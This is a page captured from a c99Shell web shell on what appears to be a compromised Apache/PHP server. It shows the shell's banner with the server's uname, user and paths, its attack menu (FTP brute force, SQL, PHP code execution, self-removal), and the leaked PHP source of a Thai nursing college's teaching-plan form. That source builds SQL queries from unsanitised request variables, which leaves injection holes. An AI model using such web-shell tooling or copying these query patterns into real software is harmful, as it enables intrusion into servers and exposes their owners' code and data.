!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/edu_depart/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditMethod.php (31.95 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "tech_plan_tb";
        
$myTable3 "techplan_method_tb";
        
$myTable4 "tech_spec_tb";
        
        
        
/**  Table  -->  personal_tb  */
        
$query " SELECT *  FROM $myTable1  WHERE Username='$Username' ";
        
$result $dbObj->execQuery($query);
        
$rss $dbObj->fetchArray($result);
            
$Teacher_code $rss['Teacher_code'];
        
        
/**  Table  -->  tech_plan_tb  */
        
$query1 " SELECT *  FROM $myTable2  WHERE Plan_code='$Plan_code' ";
        
$result1 $dbObj->execQuery($query1);
        
$rs1 $dbObj->fetchArray($result1);
        
        
/**  Table  -->  techplan_method_tb  */
        
$query2 " SELECT *  FROM $myTable3  WHERE Plan_code='$Plan_code' ";
        
$result2 $dbObj->execQuery($query2);
        
$rs2 $dbObj->fetchArray($result2);
        
        
/**  Table  -->  tech_spec_tb  */
        
$query3 " SELECT *  FROM $myTable4  WHERE Plan_code='$Plan_code' ";
        
$result3 $dbObj->execQuery($query3);
        
$rs3 $dbObj->fetchArray($result3);
        
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
</script>
<script language="JavaScript" type="text/JavaScript">
function browse()
{
    myForm.Filetex.src = myForm.Filetex.value;
}
</script>
<title>ข้อมูลทั่วไปบุคลากร - ข้อมูลแผนการสอน - แก้ไขข้อมูลแผนการสอน</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" enctype="multipart/form-data" action="EditPlan.php"  onSubmit="return checkData()">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="Menu_Teach.php?Teacher_code=<?=$Teacher_code;?>">ข้อมูลทั่วไปบุคลากร</a> &raquo; <a href="PlanList.php?Teacher_code=<?=$Teacher_code;?>">ข้อมูลแผนการสอน</a> &raquo; <span class="NOTE">แก้ไขข้อมูลแผนการสอน</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center">
        <?php

        ?>
          <table width="750" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#EEEEEE" style="border:1px solid #EEEEEE">
              <tr bgcolor="#D3E4F8">
                <td height="5" colspan="3" bgcolor="#FFFFFF"></td>
              </tr>
              <tr bgcolor="#D3E4F8">
                <td height="25" colspan="3" align="center" bgcolor="#F8F8F8" class="PATRON11">แก้ไขข้อมูลแผนการสอน</td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="5" bordercolor="#99CC99" bgcolor="#FFFFFF"></td>
                <td height="5" bordercolor="#CCCCCC" bgcolor="#FFFFFF"></td>
                <td height="5" bordercolor="#CCCCCC" bgcolor="#FFFFFF"></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td width="23%" align="right" bordercolor="#99CC99" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">อาจารย์</font></td>
                <td width="1%" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td width="76%" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><strong><font color="#000000" size="2" face="Tahoma">&nbsp;<?=$rss["Teacher_name"];?>&nbsp; <?=$rss["Teacher_lastname"];?></font></strong></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" bordercolor="#99CC99" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">สถานะของอาจารย์</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><input type="radio" name="Status" <?php if ( !strcmp("$rs1[Status]","1") ) { echo "checked"; } ?> value="1" />
                    <font color="#003366" face="Tahoma"><span>อาจารย์ของวิทยาลัย</span></font><font color="#003366" size="2" face="Tahoma">
                    <input type="radio" name="Status" <?php if ( !strcmp("$rs1[Status]","2") ) { echo "checked"; } ?> value="2" />
                </font><font color="#003366" face="Tahoma"><span>อาจารย์พิเศษ</span></font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" bordercolor="#99CC99" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">หลักสูตร</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><select name="programId" id="programId">
                <?php
                $strSQL11 
" SELECT * FROM  program   WHERE programStatus='Y' ";
                
$result11 mysql_query($strSQL11);
                while( 
$rs11 mysql_fetch_array($result11) ) {
                
?>
                    <option value="<?=$rs11['programId'];?><?php if( $rs1[programId] == $rs11[programId] ) echo 'selected';?>><?=$rs11['programName'];?></option>
                <?php
                
# while
                
?>
                </select></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" bordercolor="#99CC99" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">ปีการศึกษา</span></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><input name="acadYear" type="text" id="acadYear" style="text-align:center" value="<?=$rs1['acadYear'];?>" size="4" maxlength="4" />
                  <span class="TEXT-DARK-BLUE10">ภาคการศึกษา :</span>
                  <label>
                    <select name="semester" id="semester">
                      <option value="1" <?php if($rs1['semester']=="1"){ echo "selected" ; } ?> >ภาคการศึกษาที่ 1</option>
                      <option value="2" <?php if($rs1['semester']=="2"){ echo "selected" ; } ?> >ภาคการศึกษาที่ 2</option>
                      <option value="3" <?php if($rs1['semester']=="3"){ echo "selected" ; } ?> >ภาคการศึกษาที่ 3</option>
                    </select>
                  </label></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" bordercolor="#99CC99" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">ภาคงานสอน</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><select name="Method_code" id="Method_code">
                <?php
                $strSQL22 
" SELECT * FROM method_tb ";
                
$result22 mysql_query($strSQL22);
                while( 
$rs22 mysql_fetch_array($result22) ) {
                
?>
                    <option value="<?=$rs22['Method_code'];?><?php if( $rs1[Method_code] == $rs22[Method_code] ) echo 'selected';?>><?=$rs22['Method_name'];?></option>
                <?php
                
# while
                
?>
                </select>
                &nbsp;<font color="#000066" face="Tahoma">แหล่งฝึก</font> <input name="Place" type="text" id="Place" value="<?=$rs1['Place'];?>" size="49" /></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" bordercolor="#99CC99" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">รายวิชา</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><?php
                    $strSQL33 
" SELECT * FROM  course   WHERE  courseId='$rs1[courseId]' ";
                    
$result33 mysql_query($strSQL33);
                    
$rs33 mysql_fetch_array($result33);
                
?><input name="courseCode" type="text" id="courseCode" style="text-align:center" value="<?=$rs1['courseCode'];?>" size="7" readonly="readonly" />
                  <input name="courseId" type="hidden" id="courseId" value="<?php echo $rs1["courseId"] ;?>" />
                  <input type="text" name="courseName" size="48" readonly="readonly" value="<?=$rs33['courseName'];?>" />
                  <input type="text" name="courseUnit" size="7" readonly="readonly" style="text-align:center" value="<?=$rs33['courseUnit'];?>" />
                  <a href="javascript:;" onclick="NewWindow('courseInClassTable.php?cousreId=<? echo $rss["cousreId"];?>&id=1','courseInClassTable','860','350','yes')"><img src="../images/icons/search.gif" width="15" height="19" border="0" align="absmiddle" /></a><span class="TEXT-RED10"><sup>*</sup><span class="TEXT-ORANGE9">&lt;-- คลิ๊กที่นี่</span></span><input name="conditionId1" type="hidden" value="<?php echo $rs1["conditionId1"] ;?>" /><input name="conditionId2" type="hidden" value="<?php echo $rs1["conditionId2"] ;?>" /></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" bordercolor="#99CC99" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">วัน/เดือน/ปี (ที่เริ่มสอน)</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><span class="style1">วันที่
                  <select name="mDate" id="mDate" class="select" >
                    <?php
           $Date 
$rs1[Start_date];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                  </select>
เดือน
<select name="mMonth" id="mMonth" class="select" >
  <?php
          $Date 
$rs1[Start_date];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
</select>
</font><font color="#0000FF" size="2" face="Tahoma">&nbsp; </font><font color="#000000" size="2" face="Tahoma">ปี พ.ศ.</font><font color="#0000FF" size="2" face="Tahoma">
<input name="mYear" type="text" id="mYear" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $mYear ?>" size="4" maxlength="4" />
</font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" bordercolor="#99CC99" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">จำนวนนักศึกษา</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><input name="Total_std" type="text" id="Total_std" style="text-align:center" value="<?=$rs1['Total_std'];?>" size="5" maxlength="4" /> 
                  คน</td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" bordercolor="#99CC99" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">จำนวนชั่วโมง</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><input name="Total_hour" type="text" id="Total_hour" style="text-align:center" value="<?=$rs1['Total_hour'];?>"  size="5" maxlength="4" /> 
                ชั่วโมง</td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" valign="top" bordercolor="#99CC99" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">แนวคิดหลัก</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><textarea name="Mainidea" cols="75" rows="3" id="Mainidea"><?=htmlspecialchars_decode$rs1['Mainidea'] );?></textarea>         
                </td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" valign="top" bordercolor="#99CC99" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">วัตถุประสงค์</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><p>
                  <textarea name="Objective" id="Objective" cols="75" rows="3"><?=htmlspecialchars_decode$rs1['Objective'] );?>
                </textarea>   
            </td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" valign="top" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">เรื่องที่สอน</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><p>
                  <textarea name="Title_name" cols="75" rows="5" id="Title_name"><?=htmlspecialchars_decode$rs1['Title_name'] );?>
                </textarea>   
                  </td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" valign="top" bordercolor="#99CC99" bgcolor="#FFFFFF" style="padding-top:4px"><font color="#000066" face="Tahoma">วิธีการสอน</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#E9E9E9">
                    <tr bgcolor="#E1E1E1">
                      <td width="33%" height="18" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M1" type="checkbox" id="M1" value="บรรยาย" <?php if ( !strcmp("$rs2[M1]","บรรยาย") ) { echo "checked"; } ?> />
                      บรรยาย</font></td>
                      <td width="34%" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M2" type="checkbox" id="M2" value="อภิปราย" <?php if ( !strcmp("$rs2[M2]","อภิปราย") ) { echo "checked"; } ?> />
                      อภิปราย</font></td>
                      <td width="33%" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M3" type="checkbox" id="M3" value="Station/แบ่งกลุ่มย่อย" <?php if ( !strcmp("$rs2[M3]","Station/แบ่งกลุ่มย่อย") ) { echo "checked"; } ?> />
                      Station/แบ่งกลุ่มย่อย</font></td>
                    </tr>
                    <tr bgcolor="#E1E1E1">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M4" type="checkbox" id="M4" value="ทดลอง" <?php if ( !strcmp("$rs2[M4]","ทดลอง") ) { echo "checked"; } ?> />
                      ทดลอง</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M5" type="checkbox" id="M5" value="สาธิตย้อนกลับ" <?php if ( !strcmp("$rs2[M5]","สาธิตย้อนกลับ") ) { echo "checked"; } ?> />
                      สาธิตย้อนกลับ</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M6" type="checkbox" id="M6" value="ศึกษาด้วยตนเอง" <?php if ( !strcmp("$rs2[M6]","ศึกษาด้วยตนเอง") ) { echo "checked"; } ?> />
                      ศึกษาด้วยตนเอง</font></td>
                    </tr>
                    <tr bgcolor="#E1E1E1">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M7" type="checkbox" id="M7" value="PL" <?php if ( !strcmp("$rs2[M7]","PL") ) { echo "checked"; } ?> />
                        PL</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M8" type="checkbox" id="M8" value="PBL" <?php if ( !strcmp("$rs2[M8]","PBL") ) { echo "checked"; } ?> />
                        PBL</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M9" type="checkbox" id="M9" value="CIPPA" <?php if ( !strcmp("$rs2[M9]","CIPPA") ) { echo "checked"; } ?> />
                        CIPPA</font></td>
                    </tr>
                    <tr bgcolor="#E1E1E1">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M10" type="checkbox" id="M10" value="กรณีศึกษา" <?php if ( !strcmp("$rs2[M10]","กรณีศึกษา") ) { echo "checked"; } ?> />
                        กรณีศึกษา</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M11" type="checkbox" id="M11" value="Concept Mapping" <?php if ( !strcmp("$rs2[M11]","Concept Mapping") ) { echo "checked"; } ?> />
                        Concept Mapping</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M12" type="checkbox" id="M12" value="Clinical practice" <?php if ( !strcmp("$rs2[M12]","Clinical practice") ) { echo "checked"; } ?> />
                        Clinical Practice</font></td>
                    </tr>
                    <tr bgcolor="#E1E1E1">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M13" type="checkbox" id="M13" value="Project /โครงงาน" <?php if ( !strcmp("$rs2[M13]","Project /โครงงาน") ) { echo "checked"; } ?> />
                        Project/โครงงาน</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M14" type="checkbox" id="M14" value="Exhibition" <?php if ( !strcmp("$rs2[M14]","Exhibition") ) { echo "checked"; } ?> />
                        Exhibition</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M15" type="checkbox" id="M15" value="Semina" <?php if ( !strcmp("$rs2[M15]","Semina") ) { echo "checked"; } ?> />
                        Semina</font></td>
                    </tr>
                    <tr bgcolor="#E1E1E1">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M16" type="checkbox" id="M16" value="ดูงาน" <?php if ( !strcmp("$rs2[M16]","ดูงาน") ) { echo "checked"; } ?> />
                        ดูงาน</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M17" type="checkbox" id="M17" value="Nursing conference" <?php if ( !strcmp("$rs2[M17]","Nursing conference") ) { echo "checked"; } ?> />
                        Nursing Conference</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M18" type="checkbox" id="M18" value="Nursing round" <?php if ( !strcmp("$rs2[M18]","Nursing round") ) { echo "checked"; } ?> />
                        Nursing Round</font></td>
                    </tr>
                    <tr bgcolor="#E1E1E1">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M19" type="checkbox" id="M19" value="Pre-Post Conference" <?php if ( !strcmp("$rs2[M19]","Pre-Post Conference") ) { echo "checked"; } ?> />
                        Pre-Post Conference</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="M20" type="checkbox" id="M20" value="Bed side tea ching" <?php if ( !strcmp("$rs2[M20]","Bed side tea ching") ) { echo "checked"; } ?> />
                        Bed Side Tea Ching</font></td>
                      <td bgcolor="#FFFFFF">&nbsp; </td>
                    </tr>
                    <tr bgcolor="#E1E1E1">
                      <td height="25" colspan="3" bgcolor="#FFFFFF">
                        <input name="M_else" type="checkbox" id="M_else" value="อื่นฯ" <?php if ( !strcmp("$rs2[M_else]","อื่นฯ") ) { echo "checked"; } ?> />
                        อื่นฯ <input name="Else_desc" type="text" id="Else_desc" size="50" maxlength="255" onClick="document.getElementById('M_else').checked=true;" value="<?=$rs2['Else_desc'];?>" /></td>
                      </tr>
                </table></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td height="5" align="right" bordercolor="#99CC99" bgcolor="#FFFFFF"></td>
                <td height="5" bordercolor="#CCCCCC" bgcolor="#FFFFFF"></td>
                <td height="5" bordercolor="#CCCCCC" bgcolor="#FFFFFF"></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" valign="top" bordercolor="#99CC99" bgcolor="#FFFFFF" style="padding-top:4px"><font color="#000066" face="Tahoma">คุณลักษณะแผนการสอน</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#EEEEEE">
                    <tr bgcolor="#E1E1E1">
                      <td width="47%" height="18" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="Sp1" type="checkbox" id="Sp1" value="เน้นผู้เรียนเป็นสำคัญ" <?php if ( !strcmp("$rs3[Sp1]","เน้นผู้เรียนเป็นสำคัญ") ) { echo "checked"; } ?> />
                        เน้นผู้เรียนเป็นสำคัญ</font></td>
                      <td width="53%" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="Sp2" type="checkbox" id="Sp2" value="สร้างเสริมประสบการณ์จริง" <?php if ( !strcmp("$rs3[Sp2]","สร้างเสริมประสบการณ์จริง") ) { echo "checked"; } ?> />
                        สร้างเสริมประสบการณ์จริง</font></td>
                    </tr>
                    <tr bgcolor="#E1E1E1">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="Sp3" type="checkbox" id="Sp3" value="ประสบการณ์จริงอิงCBL" <?php if ( !strcmp("$rs3[Sp3]","ประสบการณ์จริงอิงCBL") ) { echo "checked"; } ?> />
                        ประสบการณ์จริงอิง CBL</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="Sp4" type="checkbox" id="Sp4" value="เพิ่มชั่วโมงการสอนภาคสนาม" <?php if ( !strcmp("$rs3[Sp4]","เพิ่มชั่วโมงการสอนภาคสนาม") ) { echo "checked"; } ?> />
                        เพิ่มชั่วโมงการสอนภาคสนาม</font></td>
                    </tr>
                    <tr bgcolor="#E1E1E1">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="Sp5" type="checkbox" id="Sp5" value="มอบงาน/โครงงาน/case study" <?php if ( !strcmp("$rs3[Sp5]","มอบงาน/โครงงาน/case study") ) { echo "checked"; } ?> />
                        มอบงาน/โครงงาน/Case Study</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="Sp6" type="checkbox" id="Sp6" value="การเรียนการสอนผ่านเครือข่าย computer" <?php if ( !strcmp("$rs3[Sp6]","การเรียนการสอนผ่านเครือข่าย computer") ) { echo "checked"; } ?> />
                        การเรียนการสอนผ่านเครือข่ายคอมพิวเตอร์</font></td>
                    </tr>
                    <tr bgcolor="#E1E1E1">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="Sp7" type="checkbox" id="Sp7" value="การสืบค้นข้อมูลอิเล็คทรอนิค" <?php if ( !strcmp("$rs3[Sp7]","การสืบค้นข้อมูลอิเล็คทรอนิค") ) { echo "checked"; } ?> />
                        การสืบค้นข้อมูลอิเล็คทรอนิคส์</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="Sp8" type="checkbox" id="Sp8" value="เพิ่มชั่วโมงฝึกปฏิบัติ" <?php if ( !strcmp("$rs3[Sp8]","เพิ่มชั่วโมงฝึกปฏิบัติ") ) { echo "checked"; } ?> />
                        เพิ่มชั่วโมงฝึกปฏิบัติ</font></td>
                    </tr>
                    <tr bgcolor="#E1E1E1">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="Sp9" type="checkbox" id="Sp9" value="เพิ่มชั่วโมงห้องปฏิบัติการ" <?php if ( !strcmp("$rs3[Sp9]","เพิ่มชั่วโมงห้องปฏิบัติการ") ) { echo "checked"; } ?> />
                      เพิ่มชั่วโมงห้องปฏิบัติการ</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="Sp10" type="checkbox" id="Sp10" value="เพิ่มชั่วโมงจัดสัมนา" <?php if ( !strcmp("$rs3[Sp10]","เพิ่มชั่วโมงจัดสัมนา") ) { echo "checked"; } ?> />
                        เพิ่มชั่วโมงจัดสัมนา</font></td>
                    </tr>
                    <tr bgcolor="#E1E1E1">
                      <td height="18" colspan="2" bgcolor="#FFFFFF"><font face="Tahoma">
                        <input name="Sp11" type="checkbox" id="Sp11" value="อื่นฯ" <?php if ( !strcmp("$rs3[Sp11]","อื่นฯ") ) { echo "checked"; } ?> />
                        อื่นฯ</font> <input name="Sp_Else_desc" type="text" id="Sp_Else_desc" onClick="document.getElementById('Sp11').checked=true;" value="<?=$rs3['Else_desc'];?>" size="50" maxlength="255" /></td>
                    </tr>
                </table></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" bordercolor="#99CC99" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">งานวิจัยในชั้นเรียน</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#000066" size="2" face="Tahoma">&nbsp;</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">
                  <input type="radio" name="Res_unit" id="Res_unit" value="1" <?php if ( !strcmp("$rs1[Res_unit]","1") ) { echo "checked"; } ?> />
                  <font color="#000000"> ใช้
                  <input type="radio" name="Res_unit" id="Res_unit" value="2" <?php if ( !strcmp("$rs1[Res_unit]","2") ) { echo "checked"; } ?> />
                  ไม่ใช้</font></font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" valign="top" bordercolor="#99CC99" bgcolor="#FFFFFF" style="padding-top:4px"><font color="#000066" face="Tahoma">นำผลงานวิจัยมาใช้ประโยชน์ ในงานวิจัยอื่น</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td valign="top" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><input type="radio" name="Apply" id="Apply" value="1" <?php if ( !strcmp("$rs1[Apply]","1") ) { echo "checked"; } ?> />
                   <font color="#000000"> ใช้</font>
                  <input type="radio" name="Apply" id="Apply" value="2" <?php if ( !strcmp("$rs1[Apply]","2") ) { echo "checked"; } ?> />
                  <font color="#000000"> ไม่ใช้</font></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" valign="top" bordercolor="#99CC99" bgcolor="#FFFFFF" style="padding-top:4px"><font color="#000066" face="Tahoma">วิธีการวัดและประเมินผล</font></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#EEEEEE">
                    <tr bgcolor="#eeeeee">
                      <td width="29%" height="18" bgcolor="#FFFFFF"><font face="Tahoma"> แบบทดสอบ</font></td>
                      <td width="71%" bgcolor="#FFFFFF"><font face="Tahoma">คะแนน
                        <input name="Asses1" type="text" id="Asses1" style="text-align:center" value="<?=$rs1['Asses1'];?>" size="5" maxlength="7" />
                      </font></td>
                    </tr>
                    <tr bgcolor="#eeeeee">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma"> ชิ้นงาน/รายงาน</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">คะแนน</font>
                      <input name="Asses2" type="text" id="Asses2" style="text-align:center" value="<?=$rs1['Asses2'];?>" size="5" maxlength="7" /></td>
                    </tr>
                    <tr bgcolor="#eeeeee">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma"> แบบประเมินจิตวิสัย</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">คะแนน</font>
                      <input name="Asses3" type="text" id="Asses3" style="text-align:center" value="<?=$rs1['Asses3'];?>" size="5" maxlength="7" /></td>
                    </tr>
                    <tr bgcolor="#eeeeee">
                      <td height="18" bgcolor="#FFFFFF"><font face="Tahoma">รวมคะแนน</font></td>
                      <td bgcolor="#FFFFFF"><font face="Tahoma">คะแนน</font>
                      <input name="Asses4" type="text" id="Asses4" style="text-align:center" value="<?=$rs1['Asses4'];?>" size="5" maxlength="7" /></td>
                    </tr>
                </table></td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" align="center">&nbsp;</td>
                <td bgcolor="#FFFFFF" align="center">&nbsp;</td>
                <td bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
              <tr bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT" >
                <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">อัพโหลดไฟล์เอกสาร</td>
                <td bgcolor="#FFFFFF">&nbsp;</td>
                <td align="left" bgcolor="#FFFFFF"><input name="Filetex" type="file" id="Filetex" size="30" /></td>
              </tr>
              <tr>
                <td bgcolor="#FFFFFF" align="center">&nbsp;</td>
